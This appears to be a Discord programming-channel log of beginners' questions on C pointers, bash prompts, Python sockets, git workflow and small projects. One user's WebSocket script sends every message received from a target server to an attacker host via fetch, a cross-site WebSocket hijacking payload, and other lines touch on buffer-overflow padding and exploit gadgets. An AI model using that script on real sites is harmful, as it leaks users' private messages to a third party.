#programming
1 messages · Page 24 of 1
wait
#include <stdio.h>
#include <stdlib.h>
int Valueof5=5, Valueof10=10;
void func1(int *pointerof100){
pointerof100=&Valueof5;
}
void func2(int **pointerof100){
*pointerof100=&Valueof10;
}
void main(){
int Valueof100=100;
int *pof100=&Valueof100;
printf("%d\n", *pof100);
func(pof100);
printf("%d\n", *pof100);
func(&pof100);
printf("%d\n", *pof100);
}
what should this code output
Run it
Then why ask ??
Mate. Code does what u made it do
bro dont fuck with me
Saying there is a bug won't fix it. We don't know what u are trying to do
if u know it then say
so i pass in the pointer to func1 function
it will change the address stored in it to global var a
What are you trying to do ?
its just a piece of code that i dont understand why it outputs what it does
i am just printing the value stored in address in pointer p
fun1 and fun2 change the address in p
i think it should print 100, 5, 10
Remove the first func call. Samw results
U did t give it a pointer
On the first call
I think
Make it more readable. Change variable names
X
Name variables properly
i was just looking for a nice explanation for the behaviour
Change variable names and you will understand yourself
ok
Int ValueOf10
to what should i change them
Like that
ok
i did
#include <stdio.h>
#include <stdlib.h>
int Valueof5=5, Valueof10=10;
void func1(int *pointerof100){
pointerof100=&Valueof5;
}
void func2(int **pointerof100){
*pointerof100=&Valueof10;
}
void main(){
int Valueof100=100;
int *pof100=&Valueof100;
printf("%d\n", *pof100);
func(pof100);
printf("%d\n", *pof100);
func(&pof100);
printf("%d\n", *pof100);
}
Send code
Try
Ty
Remove first func and see if the output is the same
First func call *
See. There's ur answer. It's about the & symbol. Look it up
Told u it before top
Too
You need to pass in a pointer.
i dont understand
Then why doesn't it work ?
Yes. But you need to pass in a ref to it
nice to meet u
U 2
so anyone want too help me with customizing my terminal? i suck at bash
are you just trying to customize your prompt or ?
yea, i'm reading up on a few things, going too see what i cant do myself.
Something like this might help for prompts, and give you more ideas on it: https://scriptim.github.io/bash-prompt-generator/
You can get as complicated/simple as you want - to include diving into functions in your .bashrc as needed
wow thank you! @kind sluice
is there a way too divide things i pull from a command? like say something is above another listing an i want too add a line -------- before seeing the new text underneath?
or even adding each thing in a box so it's more neat
here is what i have currently, I want too add something that'll clean it up a little better.
i want too add a line in between XvM an OSINT with ------- but i get a bash not found error
ok i found something on the webs
this is actually rather fun
(ps i'm not a programmer, i know very little about coding. just the basic syntax for python,c,c++ but now i'm intrigued too learn more)
isn't xeon for servers?
I've actually learnt the Python very well, but this OOP thing confuses me a lot.
CodewithMosh and i think Sentdex explains OOPS in python very well, check em out @frosty ice
correct
And workstations
also correct
I've checked lots and lots of sources, I suspect that it will help me.
i've added the weather also, Good too know the temp in my area
You should add parameters too. Like,
<command> --weather
<command> --architecture
<command> --processor
My recommendation, but not really required
i'll try that, I'm learning too grep pretty good while doing this 
so i've figured out that parrot has mpv which is a terminal based video player, So inside my .bashrc script i put a rickroll 
opens terminal RickRolled (I'm going too learn how too build my own linux os, i'm going too make a troll os which everything just is a rickroll)
I think I'm losing it, send help
# AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
pad = b"\x41" * offset
python3?
yes
write to a raw buffer
I know
otherwise the output gets mangled hard
I was referring to the comment
lol
I figured that the standard offset testing string
it can be both
AAAAAAAAAAAAAAAAAAAAAAA *smash*
What happened?
BOF
there are a few different languages that are good for hacking such as Python, C, C++
Any that are great..
those three
Thank you
no problem!
Remember tho, hacking =! programming
is there a way in pwntools to do a search for a "gadget" like "call sym.imp.myfunc" ? I know how to get the address of sym.imp.myfunc from the symbols list but I would like to be able to find the call for this symbol
probably?
yeah probably, but their API doc makes one wish for more.
It's pretty spartan, yeah
how do i convert my python file into an apk without kivy or any framework?
You don't
Err apks are basically jar files no?
Spicy compiled java yes
Yeah
Well, usually
They're the standard android app format. You can have other languages.
mostly java yes
JVM I suppose
well not really, it was dalvik and nowadays something different.
Android Runtime (ART)
Does anyone know how to install C# on Arch?
This seems pretty promising.
They're the same API though
So you should technically be able to throw scala at android...
does anyone really find Pseudocode useful when making a program or script?
not sure if assembly is even called programming, but can someone elaborate on this please? https://i.imgur.com/7zeVZg4.png
Assembly is a programming language
I know
not sure if assembly is even called programming
cmpq compares s1 and s2 without storing the result of the comparison in a "destination" (so it does not modify s1 or s2) instead it sets a flag, for example, if the s1 and s2 are equal, it will set the zero flag (ZF)
ohh okay, thanks
Time to tier list some programming languages. i thought really hard about how these all rate so hopefully I got them right.
Hope you enjoyed the video!
Join my Discord server and come say hi:
https://discord.gg/engineerman
Check out some code on my GitHub:
https://github.com/realtux
https://github.com/engineer-man/youtube
Send me a Gab:
http...
👀
+rep Engineer Man
helps a lot with id's and css
Just started watching. I love the "Dart is a lot like golang in that nobody asked for it and it doesn't really address any issues"
Except no one uses dart but lots of people use golang
yes but we don't like those people 
Ouch
it was sarcasm 🙂
It's actually annoying often to make vulnerable code in golang.
Simple command injection is actually reasonably difficult to pull off
well, I'll take your word for it, I haven't worked with it enough to know
I WILL say I disagree with several of his rankings in that video though
but a lot of that is subjective
Essentially it's like exec IIRC, where you need to pass a series of arguments rather than just a string
Eh I'm not convinced that he was totally objective there. But I really really dislike JS
int prime_number(int j){
int k=(int)sqrt(j) - (int(sqrt(j))-1)%2;
while (j%(k--)) {k--;}
return ((k==0)&&(j>1));
}
I'm new to programming but can i ask if this is the most optimal way of finding prime number?
It is not.
As a longer answer: Finding primes is computationally expensive. There are better methods than just looping through all integers.
For 32 bit integers, the performance of that algorithm won't be that bad, but you'd still be looping through 2^15 numbers in the case your prime is in the magnitude of 2^15.
I see
Oh - I meant if the prime is in the magnitude of 2^31
Can somebody explain to me the difference between: subprocess.check_output([‘ls’],) and subprocess.check_output, ([‘ls’],)
Its python code. The last one has a , separating the arguments and the command. They behave differently ( I can explain if necessary), I simply don’t get the second syntax I think
Maybe
yea
The former calls function check_output from module subprocess with an array in a tuple with one item as a parameter. The latter is a tuple definition: It defines a tuple with two items in it: Reference to the function subprocess.check_output and the single-item tuple (['ls'],)
I understand, I played around a little with both ways and I get the difference now in the context of the payload I used it for 👍 Thank you 🙂
Gave +1 Rep to @solar hull
if anyone knows how to use tkinter in python please dm me. Thanks
I do, but I would prefer to discuss here
Sure, im currently working on a script which pings 3 servers and display the status result on the GUI, however if its alive the status should be in green and if not, it should be in red < in GUI too. This is where im finding difficulty to make it work
Is your problem with the colours or showing the result in GUI?
colors
In Java, when is the btye data type used? I mean why do you need to store things in a byte[] array when there is the possibility of doing so with a String? Is it for memory-saving purposes?
Bytes are usually used for raw binary data
Things like files or images that are not text
I don't know why you'd use strings to represent things that are not text unless you're incredibly masochistic
im building a chrome app and wondering how i can use bootstrap and jquery etc
With bytes you can be sure the data won't be messed up with in conversions for representation etc.
You can also do things like XORs and ANDs and fancy things like that
You can also mutate byte arrays (or char arrays), Strings are immutable.
That's more specific to java, but also useful
now I have to look up a term, but there's also security issues related to String storage in Java.
Thank you all guys!
blah, can't find the exact term I was thinking of, but in any case, if you'd be storing something like passwords in the String, it might be left hanging around in the memory at least until gc sweep. You can clean up the char array to avoid that
string interning I believe
Looks familiar, yep. And it was worse with earlier Java versions, interned Strings ended up in permgen
it gets funny when working with genomics - you inspect your heap and it's full of permutations of A T C G 🙂
Canonical string registration - afaik, the jvm still does this, as do most interpreted languages
that way repeated requests for the same string contents give references to the same canon string representation instead of allocating new string literals in memory
i finally finished my chrome app
Any Best resources for learning python 
Theres lots of free resources on youtube, but codecademy offers a good python course as well :)
I have a Module that uses newer ES Syntax:
export const EPSILON_FLOAT32 = 1e-7;
^^^^^^
SyntaxError: Unexpected token 'export'
Is there any way for me to still use the module?
What language is this?
Quick question how do upload a file to a website with curl?
Nvm might have figured it out
lol js 
there are multiple ways actually.. one is using a transpiler like babel.
2 is packing the code using webpack or browserify.
3 is changing the filename to mjs and using experimental modules.
I have tried them all, 5-6 hours. Renaming everything, is well, over 500 files if not more. then, babel I didn't get working, and browserify or similar isn't a option since same problem, manymany files
I am trying to use tenserflow machine learning API
TFJS-Node
yeah. that' what i am saying as well
u bundle the files using any packer. then open that file using node.
aight will try thanks
like maybe there are 100s of files. when u use a packer it will pack it into 1 file (with multiple chunks) then u can just open the entrypoint with node.
ohh aight
ok so, I managed to convert it all. All syntax errors are gone yay, but now I am back where I was before reinstlaling windows because of this:
api-v4\tfjs_binding.node is not a valid Win32 application.
Things I have tried:
npm rebuild @tensorflow/tfjs-node --build-from-source
maybe remove the node_modules folder, then npm clear cache.. then do npm i?
yea removing the module folder and reinstalling fixes 90% of problems for me
tried already
same error
yeh same if it isn't binding errors
binding errors won't fix by reinstalling the modules
binding errors are internal
I made a issue report on their github, since they are the makers maybe they can help me
yes.
cause while installing they compile some code as well
as extension to the js package.
yea
anyone on?
Yuh
hi there
im working with js websockets and getting some errors
Uncaught DOMException: Failed to execute 'send' on 'WebSocket': Still in CONNECTING state.
and my code is
<script>
ws = new WebSocket('wss://vulnerable.example.com/messages');
ws.onopen = function start(event) {
websocket.send("HELLO");
}
ws.onmessage = function handleReply(event) {
fetch('https://attacker.example.net/?'+event.data, {mode: 'no-cors'});
}
ws.send("Some text sent to the server");
</script>
what am i doing wrong?
@true pumice
You’re not waiting for the connection to establish
Well I say you, the script isn’t
Which line is it crashing on?
How long did it take before you felt comfortable programming in your first l coding anguage?
It took a while to get comfortable with the constructs. I really quickly picked up programming and could make loads of projects, but I wasn’t very consistent.
After a few years of on and off programming, I finally got to the point where I could basically do anything with a little googling.
@true pumice Thanks for your reply! I don't need to expert level just sufficient to get by. Would 1-3 months suffice?
Gave +1 Rep to @true pumice
As long as you’re actively learning in those months.
After around 1 month you should have the ability to break code down and program very well - which is super great because you should be able to transfer to any language and understand most code.
I was fortunate enough to be in a computer science course while I was studying, but I have taught many people from knowing nothing, and even after a week they start to show their knowledge in the basics of a language.
All depends on your dedication :)
@true pumice That's super helpful! I will aim 2-4 hrs of programming a week into my Study focus. Using THM, Linkedin Learning and Google to aid me.
Sounds great! You’ll be great at it in no time :)
ptrace question:
When a process calls ptrace on another process (the child process), does this call makes the child stop and continue with the next ptrace call like ptrace(PTRACE_SYSCALL)?
Can anyone just tell me where is the reverse shell dedicated channel?
I'll be thankful to you
There isn't one?
okie dokie, so im trying to connect mysql db to python, so ive install mysql connector using this cmd pip install mysql-connector-python, so i put import mysql.connector in a py file, i tried running it using python sql.py, error saying that i didnt have that module, but when i tried python3'ing it, it worked, which means that i installed the library in the python3 place and not the python2 place,when i try running python -m pip install mysql-connector-python, it said pip not found, tried sudo apt-get install python-pip, said that python3-pip replaced it, what do i do?
Don't write python2
All the time
Python2 is deprecated
So you should not need to install modules for python2
thing is, w3schools, which is what im learning, teaches python2, not python3
Remember that python on some systems can point to python2 while on newer systems it will be python3.
So find a better resource
There is no point learning python2.
It is deprecated for a reason.
why?
so what are the main differences between python2 and 33
You should not be writing any python2 code
Wdym w3schools doesn't teach in python3?
wait does it
Yes.
On Windows, python3 is installed as "python"
ahhhh
You can tell from the print syntax :)
ight thx
Gave +1 Rep to @surreal bronze
and thx as well
Not a python issue, that's a mysql issue
ive gotten this error before, it happens when i dont sudo when i try accessing the db
here i'll show u
Ok. That supports what I said.
I bet you can find out how to solve it with some research
ok
cant find anything
do u have a solution?
Your first step is to figure out how to log into the database locally. Then, you can start doing fancy stuff with programming.
i mean, i can, just not with python
You are overlooking some very basic DB admin stuff, re-reading the MySQL quickstart is where you should start.
ok so what have i missed
yoooo dont ghost me like that
I just told you what your next steps are. If a user isn't able to connect, there is a misconfiguration. Start back at step 1 and see where you skipped a step.
thing is i haven't done anything different to what they're doing
i changed the code to see if it would work but still no luck
i changed the code because i thought a fixed value wouldnt work
for the user and pwd
We told you it wasn't an issue with your code.
ok
Please remember that everyone here is a volunteer, and we're trying to help you as best as we can. Please listen and take into account what we say. It's ok to ask questions, but please listen
alright
ahhhhhh
i found the mistake
yayyyyy
it workeddd
alright thank u both for ur help
hey guys, I am runnning jwt2john.py and I keep getting in the error
wondering how I can solve this.
at a guess, the utils.py is expecting a string but is being passed a bytes object
I'd print out what's being passed in at line 15/16 there. And also read through the code that it calls, see if you can figure out what it's expecting
but it's looking like either bad input, or maybe the libraries changed between versions
Yeah, that s: str is saying it expects a string
when it is trying to see string
but the error you got before is because it's passing in a bytes object
side note: this is why python is a pain, dynamic typing
python lets any variable be any object
that s: str is only a type hint, and python ignores it. Only type linters care about that
mypi?
is jwt2john your code, or something you found?
i found
its developed way before the pyjwt changed theri source code ig
but yeah lesson learned!
print parts[2] before you pass it in
I'm only guessing here, but I think maybe jwt2john is forcing it to bytes for some encoding reason- probably to make sure special chars don't cause issues, but I don't think that would happen with a jwt token
but yeah, casting it back to a str before passing it to the decode should be fine
yep!
cool 🙂
Just wanted to share that. As an exercise, i had to implement AEs-ECB on python, and it's done !
https://github.com/Maeglin1908/cryptopals-AES_ECB
It was a really nice exercise ! Plenty of searches, and tries and fails haha
It acceptsfor datas, strings (raw, hex, base64) as input, or inside a file. The key is only ascii string, tho.
Feel free to any advices if you want :)
hello ! i have a socket connection between 2 program, and i want my program to recv any information but i have to enter that recv(1024) i have to say it the lenght of the socket how can i automate that ?
i have to do like python len(bytes("test"))
?
I take it you're using python here. As per documentation, the number is the maximum number of bytes received by that operation.
ah
The call will return an array of bytes from what's available in the socket to receive. It's not guaranteed to receive exactly the number of bytes you specify there, you specify the maximum number of bytes to get.
What are you trying to do with it?
I studied the book now I have a good foundation what should to do right now
do projects :)
Which project
I wanna to study black hat python but now I don't have new version
Now stuck like 3month waiting for new one but Now found the new pdf free***
Practise coding with random ideas / projects to get better and learn deeply.
Start a project that is meaningful to you. It doesn't have to be anything big, and it doesn't have to be a contribution to a public opensource project. Pick something you like to do; a board game, a puzzle, a computer task you find tedious, and figure out how to do it in a python.
@solar hull i am trying do to a server / client
and i want the server and client to communicate
but i don't understand the number of recv and i don't want that to block me
i think that is like a limitation of data and i don't know how to use it
(ping me plz wen you answer me because i don't see your answer ^^* ty)
If there's two bytes available in the TCP socket to receive, and you call socket.recv(1024), you will get two bytes. If there is 1025 bytes available, you will get 1024 bytes, as that's the maximum you've specified in the call.
a few friends and I decided to work on a 2d Python game together, gotta build up that "work" experience and we figured showing collaboration never hurt anybody.
question, what's the best way to collaborate on this? like sharing files and such. github?
github and gitlab are both good for that.
would i just create a private repo and share it with them? sorry, for school we've only done pair programming with screen share, so larger stuff like this where we won't necessarily be working on the same things at the same time is new.
That should work.
sweet. would it be worth outlining our development in there? like who is assigned to do what, etc, so future employers can see it? or is that just overboard
I'd suggest trying to do some project management on the side. Plan releases, manage tasks and issues etc
ah that answers that question lol. thank you!
Gave +1 Rep to @solar hull
@solar hull ok so what did i do ?
You haven't exactly told what you're trying to do there. But remember that a TCP socket is a stream. You could handle it as one.
Git is just a code repository, not really used for project management. Gitlab can do that. Or Jira, or Trello, or a variety of others. If you're wanting to put something on the resume, Jira is used a lot in industry.
github has at least issues and releases as well.
True, but issues aren't really a project management thing
Unless they've added new features since the last time I used it
No idea what's there, haven't really used it a lot 🙂
same. Not recently, at least
If we're talking "true" project management/planning, that starts getting more into backlogs, epics, etc., and I don't think github offers that. Gitlab does, but their free version doesn't have epics or some other "enterprise" features, but probably perfectly fine for a toy project like this. But I'm guessing they can also get a student license for jira or trello. Many universities have that.
I'll look into Jira, most companies have student licenses i can leverage
Any SCM tool will be worthwhile. git is the standard, any git variant will be fine. If you aren't into git, there are other tools still in use in industry, such as subversion. If you are not comfortable with commandline, there are a few good GUI tools and file browser integrations as well.
yeah, I would definitely recommend git over subversion. I haven't seen a company actively using that (or a non-git derivative) in close to a decade.
No need to to go full-bore on Jira. Jira has a lot of stuff that will just confuse you to start out with. Trello is a good way to organize a kanban that doesn't require a lot of overhead
agreed
If you're new to these tools, trello is probably the lowest barrier to entry for you. There are also free/open source alternatives
Git has more overhead to learn - it's really easy to get super lost. When I was a TA, 3/4 of my office hours were 'how to do unbork my merge'
you do have a point there
subversion is more for file system sync than deltas; i think it's more beginner friendly
My guidelines for git: Rebase often. Never pull when git command line suggests you to.
Forking workflow is my jam.
I've taught people to use git as their first/only version control system though, it's not too bad
my personal favorite GUI is gitkraken. Worth the $50 for pro
Will second the gitkraken reccomendation.
free is still very useful too
I also pay for gitkraken, because it lets me be super lazy with remembering all the git CLI options
yeah, trello might be the one judging from their sales pitch. we're still going to put it up on github (obviously so people can see the work), but we want to be able to put "collaborated over X using Y with a team of 8+" on the resume, or something like it. to catch a hiring managers eye
@glad trail Are you doing a degree in computer science? What year?
The git SCM tools aren't bad, but I don't think they are as intuitive as gitkraken
Oh, another thing for git: Learn to bisect. It's worth its weight in gold.
2nd year, comp sci with a security engineering focus.
--blame arhu 😄
I'm not sure I've ever done a git bisect
it's basically binary search for commits
You probably should have 😄 It's just excellent for finding bugs. But naturally, it requires having working commits and that the commits are not huge.
brockfu- I'd say start with trello then. Easier to just create and move issues than jira is. Jira will look better on a resume, but you can do something with that in the next 2 years. For now, you're more focused on writing the code and collaborating/figuring out that workflow
As someone using Jira in their daily work, I hate Jira.
I don't think you'll find anyone who actually LOVES their project management tool, whatever it happens to be
Well, part of that might have to do with our Jira being hosted on another continent. It's laggy as hell.
I really think that finding the 'right' tool is just finding the one that is the least irritating for your use-case
yeah, we're discussing trello now. in between arguing over who has to be THE project manager lol no one wants to be "that guy"
do it round table style then
find a business student to be your PM
how many ppl in your group?
tell them to go learn sigma 6
the hard part about being the PM is managing the deliverables without doing the work
also realize that every type of practice is garbage, and your team needs to be flexible to get the job done
brockfu- college student doing their first collaborative project
tools and practices
ultimately, every project is estimated completely using a waterfall schedule to begin with. Then it's usually turned over to a PM and an 'agile' team which proceed to fail as hard as they can until they get something that isn't a flaming dumpster or everyone gives up
right now there's 5 of us. getting a business student to do it would actually be funny. we're going to do this multiple times, so we're making a game with python because it really shows off our understanding of the language (in our opinion), then more projects with C, C++, JS. so we'll end up switching roles around as we go.
with an odd number, that works
Another thing I'll recommend for your workflow: no one is allowed to merge their own commits to master
meet once a week, everyone votes on the top 1 to 3 most important tasks. Just do those. No need for a ton of overhead
I cannot stress that enough.
Yes. Get in the habit of having every pull request get code reviewed by 2+ people before merge
@solar hull yes but, if my client send to the server like a phrase but another time he send a big data like a book, what did i do ? recv(1024) will have a problem or be a problem ?
yeah we've discussed this. we originally weren't going to have team structure, but in order to avoid a mess we decided we should do this as professionally as possible.
The difference between screwing around and having a project is documentation. Do not neglect that side of things.
I'm really draconian about that when I'm a reviewer for other people's PRs
If there is no documentation, it gets rejected until the documentation is in place
can i put like recv() or recv(9999999999999999999999) ? ^^*
Chunkify and repeat the read until out of data.
as itself it won't be a problem. But you might have to have some kind of socket protocol. The TCP socket won't provide anything else than the data.
why some kind ?
that's a good point.
at the end of the day we want professionals to look at our project and be convinced professionals accomplished it. not a bunch of punk 2nd years lol
brockfu- if you really want to do it "professionally", get a friend, maybe even one who isn't a computer science person, to be your "customer". Demo to them every 2 weeks, and let THEM tell you what features you need to add
Because you need to have some kind of a protocol defined on what actually is transferred over the socket. The protocol might be simple framing like "number of bytes in the following message" followed by the bytes, or something more complex.
the other nice thing about this project you are doing is that you can use it as a portfolio when you go to interview
ok
You are doing this in python, you said? Learn how to document with Sphinx.
so i demand the byte on a message i set the byte on the recv() and i collect the message ?
I think recv requires having a size to receive, and the documentation suggests using a relatively small exponent of two as the value.
It's going to be intensely painful, but you will learn a lot.
I don't quite get what you mean here.
If you put too big of a value in, you can thrash the crap out of the buffer used by the network stack. Do not recommend.
I've never used sphinx. Is this similar to javadoc, or not code-level doc ?
that's the plan. i want them to look at it and think i was employed to do the work, not the standard project you see on github. question about that, is it appropriate to send people to my github to view a portfolio? or should i present it in some other way? this would be the first thing i'd actually feel is appropriate to do that sort of thing
i recieve a firts message whit the byte lenght whit like recv(1024) (i think its good)
i prepare my second recv whit the byte lenght that i have recieved like recv(byte_lenght)
?
It is; it's similar to any kind of inline documentation generator. I've primarily used doxygen, but IIRC it's similar in nature to javadoc as well.
I would say it's absolutely okay to put a link to it on your resume or linkedin page
If there's 1024 bytes on the first read, the read will consume all 1024 bytes from the stream.
ook
Include your github on your resume. I keep a sanitized version of my resume on my github, as i write my CV in latex.
ty
Personally, I don't have a public github acct, and try to keep a very low profile in terms of social media, but many companies these days ask for github links.
My company actively encourages us to have a public github; I mainly put things on there to have the bare minimum I can point to as my personal 'brand'
yeah, lots of companies want to see an example of your work. Thankfully I have enough experience that I can bypass needing to have a public git presence
It also helps since I do a lot of work with opensource. Being able to upstream is a huge benefit to me and to the customers I engage with.
I can definitely see that
Gave +1 Rep to @mortal flint
You're welcome :). Good luck and have fun with it!
SOmething else we have not discussed at all yet is testing
Do automated unit tests
One dumpster fire at a time Empty:)
Ew testing
better yet, have that be a part of your build pipeline 🙂
Just write the code correct the first time smh
Easier said than done
I test as I go, but then I don't write code that people rely on
Automated testing only makes sense once you have infra in place though. Until you can kick over the anthill with a git webhook, pretty much stuck with unit and integration tests
well, automation is fairly easy, if the tests are there
if you've got pytest or nunit tests written, hooking that into some kind of automation isn't too hard
If one doesn't have at least a pipeline somewhat in place, what's the use case for automated testing? I only see it used when there something like jenkins
those tests can still be run manually before/after merging
getting into the habit of writing small, reusable, easily testable pieces of code NOW will help your entire career
but then are they really automated?
no. But they are tests.
Setting up gitlab workers for a gitlab pipeline is not a major hurdle. Of course you need to host them somewhere.
i agree, testing shoudl be used everywhere, but running pytest before a merge isn't automation
and tests almost always have value
testing = good
Agree with that. TDD or BDD should be included from start of a project, ideally.
So at least they should be writing tests, I think we all agree
I always run tests on every main function with pytests / nox
Writing tests after the code is done is always the least effective way to test
saved me so much time
whether or not they want to automate that with builds is another topic
cc is amazing
I would say its a requirement to have good testing if your working with other people
It even helps with security - many frameworks require 100% code coverage as part of SDLC
I don't think I've ever seen 100%
PCI requires it for anything that touches a PCI environment
Bee had 100% on a tool, but for a bug in the code coverage tool
also when working with other people you want small PR's
there are usually arguments that can be made for compensating controls on that gap - 100% can happen, but it requires a lot of evidence based argumentation
Want yes, but that's not always possible.
its easier to review, manage and just help being more organised
yes, sometimes its not possible but that should be rare
In software development, agile (sometimes written Agile) practices involve discovering requirements and developing solutions through the collaborative effort of self-organizing and cross-functional teams and their customer(s)/end user(s). It advocates adaptive planning, evolutionary development, early delivery, and continual improvement, and it ...
Having small PR's makes it:
- Easier to manage as a team
- If you loose something you can easily get it back
- Easier to check for bugs
- Not as much to review
- Lowers the chances of two people working on the same thing
100% agree
it shoudl not take hours and hours to read a PR
Small PRs get good feedback. Big PRs get a rubber stamp approval, which is stupid.
I once saw a PR that was months of work. Thousands of lines of code across dozens and dozens of files. The only comment was a thumbs up and an approval.
🤦♂️
Lol I bet the reviewer had a great time with that! probably didnt even review it at all
Seen that. Coupled with "Please don't touch the code in these packages, my PR will not merge cleanly if those are changed"
No, the approval came minutes after it was submitted
Definitely a case for:

please tell skeletal thus
this is incredibly ironic jay
;)
I think to start some web related task . What do you think about that?
I do not recommend building a web app for your very first project. There are a lot of 'magic' moving pieces, understanding the whole system is not trivial for a beginning programmer
"There are a lot of 'magic' moving pieces, " I don't understand
That's why i'm recommending you don't start a web project right off the bat. Until you feel comfortable building a CLI application and moving on up to a GUI interface, web is likely to overwhelm you
Now make sense to me..
GUi
Web and GUI are not the same thing. Not all web projects have a human-interface on the front end, and many GUI projects are desktop or server applications that don't provide a web page.
Linux kernel programming question :
How can I retrieve the current working directory and the current user logged in inside the kernel (not in user space)?
made a python calculator
did it as a project
heres the code
`import os
import sys
import time
import termcolor
from cprint import *
print("Remember, a for addition, s for subtraction, m for multiplication, and d for division!")
a = input("Mode: ")
c = input("Number one: ")
r = input("Number two: ")
def addition():
print("This is an addition calculator")
add = int(c) + int(r)
print("Wait while we process your request!")
time.sleep(1)
print(add)
def subtraction():
print("This is an substraction calculator")
sub = int(c) - int(r)
print("Wait while we process your request!")
time.sleep(1)
cprint.ok(sub)
def multiplication():
print("This is an multiplication calculator")
mult = int(c) * int(r)
print("Wait while we process your request!")
time.sleep(1)
cprint.ok(mult)
def division():
print("This is an Division calculator")
div = int(c) / int(r)
print("Wait while we process your request!")
time.sleep(1)
cprint.ok(div)
try:
if a == "a":
addition()
if a == "s":
subtraction()
if a == "m":
multiplication()
if a == "d":
division()
except:
cprint.err("There was an error!")`
This project was really awesome!
I do have a few suggestions to improve your code –– don’t take them to heart:)
Use proper variable names, variable names are hints to people viewing the code and help you write readable code.
Usually you would choose words that would describe their role in the program, e.g. userInput, or numOne.
Another thing that I would possibly change, convert them to integers when you get the input. Cleans your code up a little instead of using int(var) everywhere.
numberOne = int(input(“Enter a number: “))
:)
numberOne = int(input(“Enter a number: “)) note about this, makes it a little harder to handle errors by errors weren't handled fully anyway
I'd also recommend against a whole try/except block like that because if you have a genuine error that's not a result of user input, it can be hard to troubleshoot
made a huge improvement
i put some text art in there
and fixed some of the classes and stuff
btw that text art spells out cooctolator lmao
Code blocks plz
how?
test
ooooo
ok
import os
import sys
import time
import termcolor
from cprint import *
from textwrap import *
print("""
░█████╗░░█████╗░░█████╗░░█████╗░████████╗░█████╗░██╗░░░░░░█████╗░████████╗░█████╗░██████╗░
██╔══██╗██╔══██╗██╔══██╗██╔══██╗╚══██╔══╝██╔══██╗██║░░░░░██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗
██║░░╚═╝██║░░██║██║░░██║██║░░╚═╝░░░██║░░░██║░░██║██║░░░░░███████║░░░██║░░░██║░░██║██████╔╝
██║░░██╗██║░░██║██║░░██║██║░░██╗░░░██║░░░██║░░██║██║░░░░░██╔══██║░░░██║░░░██║░░██║██╔══██╗
╚█████╔╝╚█████╔╝╚█████╔╝╚█████╔╝░░░██║░░░╚█████╔╝███████╗██║░░██║░░░██║░░░╚█████╔╝██║░░██║
░╚════╝░░╚════╝░░╚════╝░░╚════╝░░░░╚═╝░░░░╚════╝░╚══════╝╚═╝░░╚═╝░░░╚═╝░░░░╚════╝░╚═╝░░╚═╝""")
cprint.info("Remember, a for addition, s for subtraction, m for multiplication, and d for division!")
a = input("Mode: ")
c = int(input("Number one: "))
r = int(input("Number two: "))
def addition():
cprint.fatal("This is an addition calculator")
add = c + r
cprint.warn("Wait while we process your request!")
time.sleep(1)
print(add)
def subtraction():
cprint.fatal("This is a substraction calculator")
sub = c - r
cprint.warn("Wait while we process your request!")
time.sleep(1)
cprint.ok(sub)
def multiplication():
cprint.fatal("This is a multiplication calculator")
mult = c * r
cprint.warn("Wait while we process your request!")
time.sleep(1)
cprint.ok(mult)
def division():
cprint.fatal("This is a Division calculator")
div = c / r
cprint.warn("Wait while we process your request!")
time.sleep(1)
cprint.ok(div)
try:
if a == "a":
addition()
if a == "s":
subtraction()
if a == "m":
multiplication()
if a == "d":
division()
except Exception as e:
cprint.err("There was an error! Error: \n", e)
It's gonna crash if i give something instead of numbers
Cuz it can't convert it to int
Think about providing the values as parameters to the functions instead of using globals.
Something something pure functions good habit
Another thing to consider is the 'DRY' principle.
And not just for programming, it's applicable a lot of places
Agreed.
I find myself using it in essays quite often. You can re-emphasise a point, but don't repeat yourself
Essay writing is the most underrated skill learned during undergrad.
For bigger codes shouldn't we use sites like:
hastebin.com
mystb.in
Ghostbin.co
For sharing?
Discord's improved how large code blocks are handled, but that's a good idea
saw statistics in class on the most common reasons for companies getting breached.
why are bad passwords and clicking on unknown links still in the top 5 in 2021 
'OH an email from Brad down in accounting! doesn't look like the company email, but it says it's Brad!' like...why
Because software security is getting slightly better, but people are still stupid 🤷♂️
edit: didn't realize i put that in programming. unrelated, so removed
Because people are always the weakest link of any security chain
You ever see the XKCD about blockchain securing voting machines? That pretty much applies everywhere.
!xkcd 2267 nvm
To be fair, my job at NASA was working on robots and didn't actually involve any orbital mechanics. The small positive slope over that period is because it turns out that if you hang around at NASA, you get in a lot of conversations about space.
nope
I think it does it randomly :(
yeah
here's the one i was thinking of
yeah, that's basically the gist of the lesson lol
"secure" program engineers always shore up any vulnerabilities that THEY can think of. they don't plan for Bob to faceroll the keyboard and somehow set off a nuke
security is also really hard to implement correctly
there is always a gap between the theory that demonstrates correctness and the limitation of the implementing system
it definitely gets more and more interesting as we learn in class. what i'm getting out of it is, there will ALWAYS be a job for a programmer with a mind for security. either finding and exploiting others mistakes, or fixing my own.
Anyone knows a good way to convert a LocalDateTime Object into unix timestamp in Java?
Nevermind I found a way.
Unix timestamp, in raw format, is number of seconds since Jan 1 970 UTC.
Yep, I found a way to get it.
Date and times are sometimes weird things in programming since they are objects on their own.
Not really? ultimately its a count since some arbitrary time.
The objects used to represent that can get pretty funky, but regardless of language, that's the intent
alright chief
anyone here good at python would appreciate if you could dm me
how can i put the code in here in a box like this
ty bro
message = message.upper()
alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result = ""
for letter in message:
if letter in alpha: #if the letter is actually a letter
#find the corresponding ciphertext letter in the alphabet
letter_index = (alpha.find(letter) + key) % len(alpha)
result = result + alpha[letter_index]
else:
result = result + letter
return result
def decrypt(cipher):
k1 = int (input("Enter Shift amount that you used for encryption: "))
k2 = int (input("Enter Extra shift amount that you used for encryption: "))
key = k1 + k2
cipher = cipher.upper()
alpha = "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
result = ""
for letter in cipher:
if letter in alpha: #if the letter is actually a letter
#find the corresponding plaintext letter in the alphabet
letter_index = (alpha.find(letter) - key) % len(alpha)
result = result + alpha[letter_index]
else:
result = result + letter
return result
message = input("Enter Message: ")
key1 = int (input("Enter Shift amount: "))
key2 = int (input("Enter Extra shift amount: "))
key = key1 + key2
cipherText = encrypt(message,key)
print (" ")
print("==================================================================================")
print (" ")
print ("Cipher Text is: " + cipherText)
print (" ")
print("==================================================================================")
print (" ")
choice = input("Would you like to decryp now? (y/n): ")
if ((choice == "y") or (choice == "Y")):
plainText = decrypt(cipherText)
print (" ")
print("==================================================================================")
print (" ")
print ("Plain Text is: " + plainText)
print (" ")
